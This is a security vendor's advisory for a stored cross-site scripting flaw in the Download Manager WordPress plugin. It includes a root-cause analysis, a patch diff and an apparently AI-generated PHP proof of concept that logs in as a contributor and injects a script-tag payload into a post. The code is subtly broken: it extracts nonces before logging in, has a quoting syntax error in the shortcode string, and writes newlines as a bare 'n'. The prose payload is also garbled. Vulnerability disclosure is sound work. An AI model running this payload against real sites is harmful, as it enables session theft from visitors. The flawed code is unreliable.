Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-5357: Download Manager <= 3.3.52 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (download-manager)

CVE ID CVE-2026-5357
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 3.3.52
Patched Version 3.3.53
Disclosed April 7, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5357:
The Download Manager WordPress plugin, versions up to and including 3.3.52, contains an authenticated stored cross-site scripting vulnerability. The flaw exists in the ‘wpdm_members’ shortcode handler due to insufficient sanitization of the ‘sid’ attribute. An attacker with contributor-level or higher privileges can inject malicious scripts that execute when a user views the compromised page.

Atomic Edge research identifies the root cause in the `members()` function within `/download-manager/src/User/User.php`. The function extracts the ‘sid’ parameter from the shortcode attributes array without sanitization at line 172. This unsanitized value is then stored via `update_post_meta()`. The stored value is later directly echoed into an HTML id attribute in the `members.php` template file without escaping via `esc_attr()`. This creates a direct injection path from user input to the final HTML document.

Exploitation requires an authenticated user with contributor privileges. The attacker embeds the ‘wpdm_members’ shortcode into a post or page, setting the ‘sid’ attribute to a malicious payload like `”>alert(document.domain)`. When the post is saved, the payload is stored. The script executes in the browser of any user who visits that page, as the payload is rendered directly into the page’s HTML structure.

The patch modifies two locations in `/download-manager/src/User/User.php`. In the `members()` function, line 172, the code now sanitizes the ‘sid’ parameter using `preg_replace(‘/[^a-zA-Z0-9_-]/’, ”, $params[‘sid’])`, stripping any characters not matching alphanumerics, underscores, or hyphens. The same sanitization is applied when retrieving the parameter in the `membersContent()` function at line 184. This ensures the ‘sid’ value is safe for use in an HTML attribute context before storage and output, mitigating the XSS risk.

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim’s browser session. This can lead to session hijacking, actions performed on behalf of the victim, defacement, or theft of sensitive information from the page. The attack is stored, meaning a single injection affects all future visitors to the compromised page, amplifying its impact.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/download-manager/download-manager.php
+++ b/download-manager/download-manager.php
@@ -5,7 +5,7 @@
 Description: Manage, Protect and Track file downloads, and sell digital products from your WordPress site. A complete digital asset management solution.
 Author: W3 Eden, Inc.
 Author URI: https://www.wpdownloadmanager.com/
-Version: 3.3.52
+Version: 3.3.53
 Text Domain: download-manager
 Domain Path: /languages
 */
@@ -40,7 +40,7 @@

 global $WPDM;

-define('WPDM_VERSION','3.3.52');
+define('WPDM_VERSION','3.3.53');

 define('WPDM_TEXT_DOMAIN','download-manager');

--- a/download-manager/src/User/User.php
+++ b/download-manager/src/User/User.php
@@ -172,7 +172,8 @@

     function members($params = array())
     {
-        $sid = isset($params['sid']) ? $params['sid'] : '';
+        $sid = isset($params['sid']) ? preg_replace('/[^a-zA-Z0-9_-]/', '', $params['sid']) : '';
+        $params['sid'] = $sid;
         update_post_meta(get_the_ID(), '__wpdm_users_params' . $sid, $params);
         ob_start();
         include Template::locate("members.php", __DIR__.'/views');
@@ -183,7 +184,7 @@

     {

-        if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . wpdm_query_var('_sid'), true);
+        if (!$params) $params = get_post_meta(wpdm_query_var('_pid', 'int'), '__wpdm_users_params' . preg_replace('/[^a-zA-Z0-9_-]/', '', wpdm_query_var('_sid')), true);
         $page = isset($_REQUEST['cp']) && $_REQUEST['cp'] > 0 ? (int)$_REQUEST['cp'] : 1;
         $items_per_page = isset($params['items_per_page']) ? $params['items_per_page'] : 12;
         //$offset = $page * $items_per_page;
--- a/download-manager/src/__/CronJobs.php
+++ b/download-manager/src/__/CronJobs.php
@@ -37,6 +37,7 @@

 	function cronCheck() {
 		if(wpdm_query_var('wpdm_cron', 'int')) {
+			if(!isset($_REQUEST['cronkey']) || $_REQUEST['cronkey'] !== WPDM()->cronJob->cronKey()) return;
 			$cronJob = new CronJob();
 			$cronJob->executeAll();
 			do_action('wpdm_cron_job');

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-5357 - Download Manager <= 3.3.52 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
$post_id = 123; // ID of the post/page to edit

// Payload to inject into the 'sid' shortcode attribute.
// This will break out of the id attribute and execute JavaScript.
$payload = '"><script>alert(document.domain)</script>';

// The malicious shortcode to be inserted into post content.
$shortcode = "[wpdm_members sid="{$payload}"]";

// Initialize cURL session for login to get cookies and nonce.
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '?post=' . $post_id . '&action=edit',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
]);
$response = curl_exec($ch);

// Extract the WordPress nonce (_wpnonce) from the edit page.
if (!preg_match('/name="_wpnonce" value="([^"]+)"/', $response, $matches)) {
    die('Failed to extract nonce from edit page.');
}
$nonce = $matches[1];

// Extract the post nonce (wp_rest) for the heartbeat API.
if (!preg_match('/"wpApiSettings":{"root":"[^"]+","nonce":"([^"]+)"/', $response, $matches)) {
    die('Failed to extract REST API nonce.');
}
$rest_nonce = $matches[1];

// Now perform login via wp-login.php (simplified - real PoC would handle redirects and cookies).
// This is a simplified example. A robust PoC would handle the full WordPress authentication flow.
curl_setopt_array($ch, [
    CURLOPT_URL => 'http://vulnerable-wordpress-site.local/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '?post=' . $post_id . '&action=edit',
        'testcookie' => '1',
    ]),
]);
$login_response = curl_exec($ch);

// After login, update the post with the malicious shortcode.
// Use the WordPress REST API or direct post update.
// Using the REST API for simplicity.
$api_url = 'http://vulnerable-wordpress-site.local/wp-json/wp/v2/posts/' . $post_id;
$update_data = json_encode([
    'content' => $shortcode,
]);

curl_setopt_array($ch, [
    CURLOPT_URL => $api_url,
    CURLOPT_HTTPHEADER => [
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $rest_nonce,
    ],
    CURLOPT_CUSTOMREQUEST => 'POST',
    CURLOPT_POSTFIELDS => $update_data,
]);

$api_response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code >= 200 && $http_code < 300) {
    echo "[+] Post updated successfully with malicious shortcode.n";
    echo "[+] Visit the post at: http://vulnerable-wordpress-site.local/?p={$post_id}n";
    echo "[+] Payload: {$shortcode}n";
} else {
    echo "[-] Failed to update post. HTTP Code: {$http_code}n";
    echo "Response: {$api_response}n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School